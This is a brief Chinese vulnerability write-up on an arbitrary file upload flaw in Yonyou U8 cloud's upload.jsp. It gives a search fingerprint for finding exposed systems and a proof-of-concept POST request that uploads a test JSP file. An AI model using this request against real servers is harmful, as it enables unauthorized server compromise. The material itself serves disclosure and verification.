# 用友 U8 cloud upload.jsp 任意文件上传漏洞
# 漏洞描述
用友 U8 cloud upload.jsp 文件存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限
# 漏洞影响
用友 U8 cloud
# 网络测绘
"开启U8 cloud云端之旅"
# 漏洞复现
登陆页面
验证POC
POST /linux/pages/upload.jsp HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
filename: Test.jsp
Accept-Encoding: gzip
<% out.println("Test");%>
1
2
3
4
5
6
7
2
3
4
5
6
7
/linux/xxx.jsp
1